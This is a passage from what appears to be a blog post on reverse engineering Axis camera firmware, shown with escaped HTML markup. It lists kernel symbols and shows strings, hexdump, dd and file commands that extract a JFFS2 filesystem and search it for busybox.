kernel_execve&lt;/pre&gt;&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum40&quot; style=&quot;color: #606060;&quot;&gt;  40:&lt;/span&gt; pgprot_kernel&lt;/pre&gt;&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum41&quot; style=&quot;color: #606060;&quot;&gt;  41:&lt;/span&gt; kernel_power_off&lt;/pre&gt;&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum42&quot; style=&quot;color: #606060;&quot;&gt;  42:&lt;/span&gt; kernel_halt&lt;/pre&gt;&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum43&quot; style=&quot;color: #606060;&quot;&gt;  43:&lt;/span&gt; kernel_restart&lt;/pre&gt;&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum44&quot; style=&quot;color: #606060;&quot;&gt;  44:&lt;/span&gt; kernel_kobj&lt;/pre&gt;&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum45&quot; style=&quot;color: #606060;&quot;&gt;  45:&lt;/span&gt; prepare_kernel_cred&lt;/pre&gt;&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum46&quot; style=&quot;color: #606060;&quot;&gt;  46:&lt;/span&gt; current_kernel_time&lt;/pre&gt;&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum47&quot; style=&quot;color: #606060;&quot;&gt;  47:&lt;/span&gt; probe_kernel_write&lt;/pre&gt;&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum48&quot; style=&quot;color: #606060;&quot;&gt;  48:&lt;/span&gt; probe_kernel_read&lt;/pre&gt;&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum49&quot; style=&quot;color: #606060;&quot;&gt;  49:&lt;/span&gt; kernel_read&lt;/pre&gt;&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum50&quot; style=&quot;color: #606060;&quot;&gt;  50:&lt;/span&gt; copy_strings_kernel&lt;/pre&gt;&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum51&quot; style=&quot;color: #606060;&quot;&gt;  51:&lt;/span&gt; kernel_sock_shutdown&lt;/pre&gt;&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum52&quot; style=&quot;color: #606060;&quot;&gt;  52:&lt;/span&gt; kernel_sock_ioctl&lt;/pre&gt;&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum53&quot; style=&quot;color: #606060;&quot;&gt;  53:&lt;/span&gt; kernel_sendpage&lt;/pre&gt;&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum54&quot; style=&quot;color: #606060;&quot;&gt;  54:&lt;/span&gt; kernel_setsockopt&lt;/pre&gt;&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum55&quot; style=&quot;color: #606060;&quot;&gt;  55:&lt;/span&gt; kernel_getsockopt&lt;/pre&gt;&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum56&quot; style=&quot;color: #606060;&quot;&gt;  56:&lt;/span&gt; kernel_getpeername&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;br /&gt;
and&lt;br /&gt;
&lt;br /&gt;
&lt;div id=&quot;codeSnippetWrapper&quot; style=&quot;background-color: #f4f4f4; border-bottom: silver 1px solid; border-left: silver 1px solid; border-right: silver 1px solid; border-top: silver 1px solid; cursor: text; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 20px 0px 10px; max-height: 200px; overflow: auto; padding-bottom: 4px; padding-left: 4px; padding-right: 4px; padding-top: 4px; text-align: left; width: 97.5%;&quot;&gt;&lt;br /&gt;
&lt;div id=&quot;codeSnippet&quot; style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum1&quot; style=&quot;color: #606060;&quot;&gt;   1:&lt;/span&gt; root@system:~/axis/analysis&lt;span style=&quot;color: green;&quot;&gt;# strings until_padding | grep -i linux&lt;/span&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum2&quot; style=&quot;color: #606060;&quot;&gt;   2:&lt;/span&gt; root=/dev/mtdblock3 mem=64M init=/linuxrc rootfstype=jffs2 i2c-argus&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;sda=15 i2c-argus&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;scl=14 panic=1&lt;/pre&gt;&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum3&quot; style=&quot;color: #606060;&quot;&gt;   3:&lt;/span&gt; Linux version 2&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;6&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;31 (madhavi@eater-1) (gcc version 4&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;3&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;1 20080521 (prerelease) [gcc-4_3-branch revision 135713] (GCC 4&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;3&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;1 Axis release R11/1&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;1) ) &lt;span style=&quot;color: green;&quot;&gt;#1 Mon Oct 25 13:03:16 CEST 2010&lt;/span&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum4&quot; style=&quot;color: #606060;&quot;&gt;   4:&lt;/span&gt; TERM=linux&lt;/pre&gt;&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum5&quot; style=&quot;color: #606060;&quot;&gt;   5:&lt;/span&gt; include/linux/security&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;h&lt;/pre&gt;&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum6&quot; style=&quot;color: #606060;&quot;&gt;   6:&lt;/span&gt; Linux&lt;/pre&gt;&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum7&quot; style=&quot;color: #606060;&quot;&gt;   7:&lt;/span&gt; include/linux/gfp&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;h&lt;/pre&gt;&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum8&quot; style=&quot;color: #606060;&quot;&gt;   8:&lt;/span&gt; please mail a stack trace to linux-scsi@vger&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;kernel&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;org&lt;/pre&gt;&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum9&quot; style=&quot;color: #606060;&quot;&gt;   9:&lt;/span&gt; include/linux/skbuff&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;h&lt;/pre&gt;&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum10&quot; style=&quot;color: #606060;&quot;&gt;  10:&lt;/span&gt; Linux&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;br /&gt;
Getting the data after the kernel entry point near address 001fca20, and adding 8 bytes for cleanup&lt;br /&gt;
&lt;br /&gt;
&lt;div id=&quot;codeSnippetWrapper&quot; style=&quot;background-color: #f4f4f4; border-bottom: silver 1px solid; border-left: silver 1px solid; border-right: silver 1px solid; border-top: silver 1px solid; cursor: text; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 20px 0px 10px; max-height: 200px; overflow: auto; padding-bottom: 4px; padding-left: 4px; padding-right: 4px; padding-top: 4px; text-align: left; width: 97.5%;&quot;&gt;&lt;br /&gt;
&lt;blockquote&gt;&lt;br /&gt;
&lt;div id=&quot;codeSnippet&quot; style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum1&quot; style=&quot;color: #606060;&quot;&gt;   1:&lt;/span&gt; 001fca20  ff ff ff ff ff ff ff ff  85 19 01 e0 30 00 00 00  |&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;0&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;|&lt;/pre&gt;&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum2&quot; style=&quot;color: #606060;&quot;&gt;   2:&lt;/span&gt; 001fca30  78 be 3e fa 01 00 00 00  00 00 00 00 02 00 00 00  |x&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: blue;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;|&lt;/pre&gt;&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum3&quot; style=&quot;color: #606060;&quot;&gt;   3:&lt;/span&gt; 001fca40  23 6d c5 4c 08 08 00 00  51 ae 45 03 63 c1 56 6c  |&lt;span style=&quot;color: green;&quot;&gt;#m.L....Q.E.c.Vl|&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/blockquote&gt;&lt;/div&gt;&lt;br /&gt;
using dd again , &lt;br /&gt;
&lt;br /&gt;
&lt;div id=&quot;codeSnippetWrapper&quot; style=&quot;background-color: #f4f4f4; border-bottom: silver 1px solid; border-left: silver 1px solid; border-right: silver 1px solid; border-top: silver 1px solid; cursor: text; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 20px 0px 10px; max-height: 200px; overflow: auto; padding-bottom: 4px; padding-left: 4px; padding-right: 4px; padding-top: 4px; text-align: left; width: 97.5%;&quot;&gt;&lt;br /&gt;
&lt;div id=&quot;codeSnippet&quot; style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum1&quot; style=&quot;color: #606060;&quot;&gt;   1:&lt;/span&gt; root@system:~/axis/analysis&lt;span style=&quot;color: green;&quot;&gt;# dd if=gzip.section.gz bs=1 skip=$((0x001fca28)&lt;/span&gt;) of=after_kernel&lt;/pre&gt;&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum2&quot; style=&quot;color: #606060;&quot;&gt;   2:&lt;/span&gt; 7264853+0 records in&lt;/pre&gt;&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum3&quot; style=&quot;color: #606060;&quot;&gt;   3:&lt;/span&gt; 7264853+0 records out&lt;/pre&gt;&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum4&quot; style=&quot;color: #606060;&quot;&gt;   4:&lt;/span&gt; 7264853 bytes (7&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;3 MB) copied, 157&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;416 s, 46&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;2 kB/s&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;file command is giving us now something &lt;br /&gt;
&lt;div id=&quot;codeSnippetWrapper&quot; style=&quot;background-color: #f4f4f4; border-bottom: silver 1px solid; border-left: silver 1px solid; border-right: silver 1px solid; border-top: silver 1px solid; cursor: text; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 20px 0px 10px; max-height: 200px; overflow: auto; padding-bottom: 4px; padding-left: 4px; padding-right: 4px; padding-top: 4px; text-align: left; width: 97.5%;&quot;&gt;&lt;br /&gt;
&lt;div id=&quot;codeSnippet&quot; style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum1&quot; style=&quot;color: #606060;&quot;&gt;   1:&lt;/span&gt; root@system:~/axis/analysis&lt;span style=&quot;color: green;&quot;&gt;# file after_kernel &lt;/span&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum2&quot; style=&quot;color: #606060;&quot;&gt;   2:&lt;/span&gt; after_kernel: Linux jffs2 filesystem data little endian&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;br /&gt;
looking for the common busybox application usually found in embedded installations, &lt;br /&gt;
&lt;br /&gt;
&lt;div id=&quot;codeSnippetWrapper&quot; style=&quot;background-color: #f4f4f4; border-bottom: silver 1px solid; border-left: silver 1px solid; border-right: silver 1px solid; border-top: silver 1px solid; cursor: text; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 20px 0px 10px; max-height: 200px; overflow: auto; padding-bottom: 4px; padding-left: 4px; padding-right: 4px; padding-top: 4px; text-align: left; width: 97.5%;&quot;&gt;&lt;br /&gt;
&lt;div id=&quot;codeSnippet&quot; style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum1&quot; style=&quot;color: #606060;&quot;&gt;   1:&lt;/span&gt; root@system:~/axis/analysis&lt;span style=&quot;color: green;&quot;&gt;# strings jffs2.fs | grep busybox&lt;/span&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum2&quot; style=&quot;color: #606060;&quot;&gt;   2:&lt;/span&gt; busybox&lt;/pre&gt;&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum3&quot; style=&quot;color: #606060;&quot;&gt;   3:&lt;/span&gt; busybox&lt;/pre&gt;&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum4&quot; style=&quot;color: #606060;&quot;&gt;   4:&lt;/span&gt; &lt;span style=&quot;color: blue;&quot;&gt;&amp;lt;&lt;/span&gt;snip&lt;span style=&quot;color: blue;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;br /&gt;
